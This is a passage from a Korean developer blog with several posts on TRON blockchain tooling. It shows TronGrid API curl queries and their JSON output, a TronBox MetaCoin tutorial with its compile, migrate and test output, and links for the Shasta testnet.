      "start_time": 1544511604212,
      "end_time": 1547103604211,
      "description": "Useless utility token",
      "url": "https://google.com",
      "id": "1000002"
    }
  ]

 

root@tkpark-VirtualBox:~/tron-web# node ./examples/server/

 

 

 

 

 

 

 

참고 사이트

https://github.com/tronprotocol/Documentation/blob/master/TRX/Tron-http.md

 

명령어 하나 하나 실행해서 해당 명령어가 멀 뜻하는지 판단

curl -X POST  https://api.trongrid.io/walletsolidity/getaccount -d '{"address":

 "41E552F6487585C2B58BC2C9BB4492BC1F17132CD0"}'

root@tkpark-VirtualBox:~/tron-web# curl -X POST  https://api.trongrid.io/walletsolidity/getaccount -d '{"address": "41E552F6487585C2B58BC2C9BB4492BC1F17132CD0"}' | more
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
{"account_name": "636363797979636363","address": "41e552f6487585c2b58bc2c9bb4492
bc1f17132cd0","balance": 10085289,"asset": [{"key": "TRX","value": 1},{"key": "D
EX","value": 0},{"key": "Kitty","value": 0},{"key": "SEED","value": 0},{"key": "
WIN","value": 0},{"key": "Perogies","value": 0},{"key": "TRXTestCoin","value": 0
},{"key": "ofoBike","value": 7},{"key": "Skypeople","value": 0},{"key": "OnePiec
e","value": 0},{"key": "ZZZDOGETRXZZ","value": 0},{"key": "IGG","value": 0},{"ke
y": "Messenger","value": 0},{"key": "justinsuntron","value": 0},{"key": "Bitcoin
100 ","value": 0},{"key": "bittorrent","value": 0},{"key": "IPFS","value": 33},{"key
 

 

 

 

 

트론 개발자 웹사이트

https://www.trongrid.io/

 

oot@tkpark-VirtualBox:~# tronbox
Tronbox v2.2.3-prev.0 - a development framework for tronweb

Usage: tronbox <command> [options]

Commands:
  init     Initialize new and empty tronBox project
  compile  Compile contract source files
  migrate  Run migrations to deploy contracts
  deploy   (alias for migrate)
  build    Execute build pipeline (if configuration present)
  test     Run JavaScript and Solidity tests
  console  Run a console with contract abstractions and commands available
  create   Helper to create new contracts, migrations and tests
  watch    Watch filesystem for changes and rebuild the project automatically
  serve    Serve the build directory on localhost and watch for changes
  exec     Execute a JS module within this tronBox environment
  unbox    Download a tronbox Box, a pre-built tronbox project
  version  Show version number and exit

See more at http://tronboxframework.com/docs

 

응답 결과

curl -G https://api.trongrid.io/wallet/getnowblock 

 

1544596134000,
"fee_limit":6000000,
"timestamp":1544596079147
}
},
{
"ret":[
{
 "contractRet":"SUCCESS"
}
],
"signature":[
"4ba313dd2cd877286d2e2d6a5c987367f60db72d6061248c822959ee8b88980bf8eda99829de336b0f333621976f1f6c38c57babd040ca3a8caccfd91c8efa7500"
],
"txID":"402747a4056cf30e5a062da58ddcdfb2f76643de45ceedbb23a6c84f992f6105",
"raw_data":{
"contract":[
 {
  "parameter":{
   "value":{
    "data":"a3082be900000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001",
    "owner_address":"416b856cb82ad984b5ca5ab6d0a48c550574c4901d",
    "contract_address":"412ec5f63da00583085d4c2c5e8ec3c8d17bde5e28",
    "call_value":550000000
   },
   "type_url":"type.googleapis.com/protocol.TriggerSmartContract"
  },
  "type":"TriggerSmartContract"
 }
],
"ref_block_bytes":"5a0f",
"ref_block_hash":"bddd829263d1947e",
"expiration":1544596134000,
"fee_limit":6000000,
"timestamp":1544596078871
}
},
{
"ret":[
{
 "contractRet":"SUCCESS"
}
],
"signature":[
"9fa491d3b5eb10fa5c96969d0a223e0dcffc45ac71e50e30bca125396f9a8da5422940b0b1f6832436a4fc7286d5ffe1447381ab4616ef6d337dc3d91be41b6400"
],
"txID":"a098d414205db9c9a83daefc71f6a7bb24f7484210d1bd11d3a90dc5fd48af94",
"raw_data":{
"contract":[
 {
  "parameter":{
   "value":{
    "data":"a3082be900000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001",
    "owner_address":"4131e1ec8054b56a857e970656a4f16a95e3cfa4b7",
    "contract_address":"412ec5f63da00583085d4c2c5e8ec3c8d17bde5e28",
    "call_value":1200000000
   },
   "type_url":"type.googleapis.com/protocol.TriggerSmartContract"
  },
  "type":"TriggerSmartContract"
 }
],
"ref_block_bytes":"5a0f",
"ref_block_hash":"bddd829263d1947e",
"expiration":1544596134000,
"fee_limit":6000000,
"timestamp":1544596079403
}
}
]
}

 

 

 

 

 

 

 

 

 

 

 

'트론' 카테고리의 다른 글

tron-web 분해하기2(transactionBuilder.sendTrx)  (0) 2018.12.18
tron-web 분해하기1 (tronWeb.createAccount)  (0) 2018.12.17
tronbox 설치  (1) 2018.12.17
트론 shasta 테스트넷  (0) 2018.12.13
tron 파이썬 모듈  (0) 2018.12.13
블로그 이미지

iesay

,

tronbox 설치

트론 2018. 12. 17. 10:34

출처 : https://developers.tron.network/docs/tron-box-user-guide

동영상 보고 따라해보았는데  결과가 잘 안나온다.

테스트넷이든 메인넷이든 아직 안정화 될러면 시간이 조금 필요 한듯하다.

 

NPM tronbox 설치

npm install -g tronbox 

 

tutorial 디렉토리 생성

mkdir tutorial 

cd tutorial

 

sample coin 다운로드

 root@tkpark-VirtualBox:~/tuto# tronbox unbox metacoin
Downloading...
Unpacking...
Setting up...
Unbox successful. Sweet!

Commands:

  Compile:        tronbox compile
  Migrate:        npm run migrate
  Test contracts: tronbox test
  Run dev server: npm run dev
root@tkpark-VirtualBox:~/tuto#

 

contracts, migrations 파일 내용 확인

 

약간의 버그가 있어 보이지만,,, 파일 내용을 수정해도 development를 바라보는거

같아서  테스트 서버 shasta 내용을 development쪽으로 복사 해줘라,,,

tronbox.js 내용 편집  TronLink에서 테스트 서버 shasta 발급된 개인키 입력

 

   module.exports = {
  networks: {
    development: {
      // For trontools/quickstart docker image
      privateKey: 'shasta 발급된 개인키 ',
      consume_user_resource_percent: 30,
      fee_limit: 100000000,

      // Requires TronBox 2.1.9+ and Tron Quickstart 1.1.16+
      // fullHost: "http://127.0.0.1:9090",

      // The three settings below for TronBox < 2.1.9
      fullNode: "https://api.shasta.trongrid.io",
      solidityNode: "https://api.shasta.trongrid.io",
      eventServer: "https://api.shasta.trongrid.io",


      network_id: "2"
    }, 

 

tronbox-config.js  development테스트넷 입력

module.exports = {"development"};

 

compile  Compile contract source files

root@tkpark-VirtualBox:~/tuto# tronbox compile
Compiling ./contracts/ConvertLib.sol...
Compiling ./contracts/MetaCoin.sol...
Compiling ./contracts/Migrations.sol...

Compilation warnings encountered:

Warning: This is a pre-release compiler version, please do not use it in production.

Writing artifacts to ./build/contracts

 

 

migrate  Run migrations to deploy contracts

root@tkpark-VirtualBox:~/tuto# tronbox migrate --reset
Using network 'development'.

Running migration: 1_initial_migration.js
  Deploying Migrations...
  Migrations:
    (base58) TKoohGjpDNLJKka47nFAbkLDBReRV3Vbev
    (hex) 416bea0f0a7b48200852e0a83342c87580d69dc042
Saving successful migration to network...
Saving artifacts...
Running migration: 2_deploy_contracts.js
  Deploying ConvertLib...
  ConvertLib:
    (base58) TTFLhejo2BabkmjLBAVSeCHs2WCde3iRyM
    (hex) 41bd8738a33c2e2739aaca24e96f1a7901f85fa038
  Linking ConvertLib to MetaCoin
  Deploying MetaCoin...
  MetaCoin:
    (base58) TRGeHatnpxB6g8GmAdDMgjyFzRQR9u7T8J
    (hex) 41a7d6109dc1284b5c20f041c35ab03729bd64def8
Saving successful migration to network...
Saving artifacts...
root@tkpark-VirtualBox:~/tuto#
 

 

test 디렉토리로 이동

oot@tkpark-VirtualBox:~/tuto# cd test
root@tkpark-VirtualBox:~/tuto/test# ls
helpers  metacoin.js
root@tkpark-VirtualBox:~/tuto/test# vi metacoin.js
 

 

 

metacoin.js 파일 편집  vi에서 set nu해서 31번째 줄에 추가 

     it("should put 10000 MetaCoin in the first account", async function () {
    const instance = await MetaCoin.deployed();
    console.log(instance.address);
    const balance = await instance.getBalance(accounts[0], {from: accounts[0]});
    assert.equal(balance, 10000, "10000 wasn't in the first account");
  });

  

 

 

tronbox test

root@tkpark-VirtualBox:~/tuto/test# tronbox test
Using network 'development'.

Deploying contracts to development network...

Warning: This version does not support tests written in Solidity.

Preparing Javascript tests (if any)...


  Contract: MetaCoin

YOUR ATTENTION, PLEASE.]
To test MetaCoin you should use Tron Quickstart (https://github.com/tronprotocol/docker-tron-quickstart) as your private network.
Alternatively, you must set your own accounts in the "before" statement in "test/metacoin.js".

      1) should verify that there are at least three available accounts
    ✓ should verify that the contract has been deployed by accounts[0] (482ms)
41f15ced9d571f1b43346c3e2bde233f797a948f5a
    ✓ should put 10000 MetaCoin in the first account (460ms)
Sleeping for 1 second... Slept.
    ✓ should call a function that depends on a linked library (1779ms)
    2) should send coins from account 0 to 1
    3) should send coins from account 1 to 2


  3 passing (3s)
  3 failing
 1) Contract: MetaCoin
       should verify that there are at least three available accounts:

      AssertionError: expected false to be true
      + expected - actual

      -false
      +true

      at Context.<anonymous> (metacoin.js:21:12)
      at TestRunner.startTest (/usr/local/lib/node_modules/tronbox/build/webpack:/packages/truffle-core/lib/testing/testrunner.js:106:1)
      at Context.<anonymous> (/usr/local/lib/node_modules/tronbox/build/webpack:/packages/truffle-core/lib/test.js:213:1)

  2) Contract: MetaCoin
       should send coins from account 0 to 1:

      accounts[1] does not exist. Use Tron Quickstart!
      + expected - actual

      -false
      +true

      at Context.<anonymous> (metacoin.js:46:12)
      at TestRunner.startTest (/usr/local/lib/node_modules/tronbox/build/webpack:/packages/truffle-core/lib/testing/testrunner.js:106:1)
      at Context.<anonymous> (/usr/local/lib/node_modules/tronbox/build/webpack:/packages/truffle-core/lib/test.js:213:1)

  3) Contract: MetaCoin
       should send coins from account 1 to 2:

      accounts[1] and/or accounts[2] do not exist. Use Tron Quickstart!
      + expected - actual

      -false
      +true

      at Context.<anonymous> (metacoin.js:61:12)
      at TestRunner.startTest (/usr/local/lib/node_modules/tronbox/build/webpack:/packages/truffle-core/lib/testing/testrunner.js:106:1)
      at Context.<anonymous> (/usr/local/lib/node_modules/tronbox/build/webpack:/packages/truffle-core/lib/test.js:213:1)

 

 

 

제대로 올라 간건지 모르겠다.

https://tronscan.org/#/tools/tron-convert-tool

빨간 부분을  아래 사이트에서 Ascii코드에 입력하고 인코딩 시켜 준다.

Base58_hexstring을 선택한다.

 

 

 

 

 

 

 

 

 

GET인자 바꾸어서 크롬에서 접속해보면 아무것도 없다 ㅋㅋ

 https://api.shasta.trongrid.io/event/contract/

sXHwS5pcWLYVdxtTES3gZXADuiwzhVob8JUfRQgLfyz6UQRAKM3EuHV1J

 

TronLink에서 테스트 TRX는 소모된거 같고,, 트렌젝션에 기록도 있다.

 

 

트론 shasta테스트넷  블록익스플러러가 덜 만들어서

제대로 올라간건지 아닌건지 ,,

 

아직 트론은 개발중인거 같다.

 

'트론' 카테고리의 다른 글

tron-web 분해하기1 (tronWeb.createAccount)  (0) 2018.12.17
tron-web 설치  (0) 2018.12.17
트론 shasta 테스트넷  (0) 2018.12.13
tron 파이썬 모듈  (0) 2018.12.13
트론 노드구축  (0) 2018.12.11
블로그 이미지

iesay

,

트론 shasta 테스트넷

트론 2018. 12. 13. 16:09

트론 테스트 계정 유튜브 방송

https://www.youtube.com/watch?v=1z5M12tcSdQ

 

 

 

https://www.trongrid.io/shasta/

 

트론 링크 데모

如果您是 TRON 开发者

麦子钱包兼容 TronWeb (web3) API 协议

TronWeb文档 https://github.com/TronWatch/TronWeb

TronLink Demo代码 https://github.com/kookiekrak/TronLink-Demo-Messages

如果您是 Tron native app 开发者,麦子钱包已扩展SimpleWallet协议支持ETH跳转支付和合约调用:https://github.com/MediShares/SimpleWallet

 

 

'트론' 카테고리의 다른 글

tron-web 분해하기1 (tronWeb.createAccount)  (0) 2018.12.17
tron-web 설치  (0) 2018.12.17
tronbox 설치  (1) 2018.12.17
tron 파이썬 모듈  (0) 2018.12.13
트론 노드구축  (0) 2018.12.11
블로그 이미지

iesay

,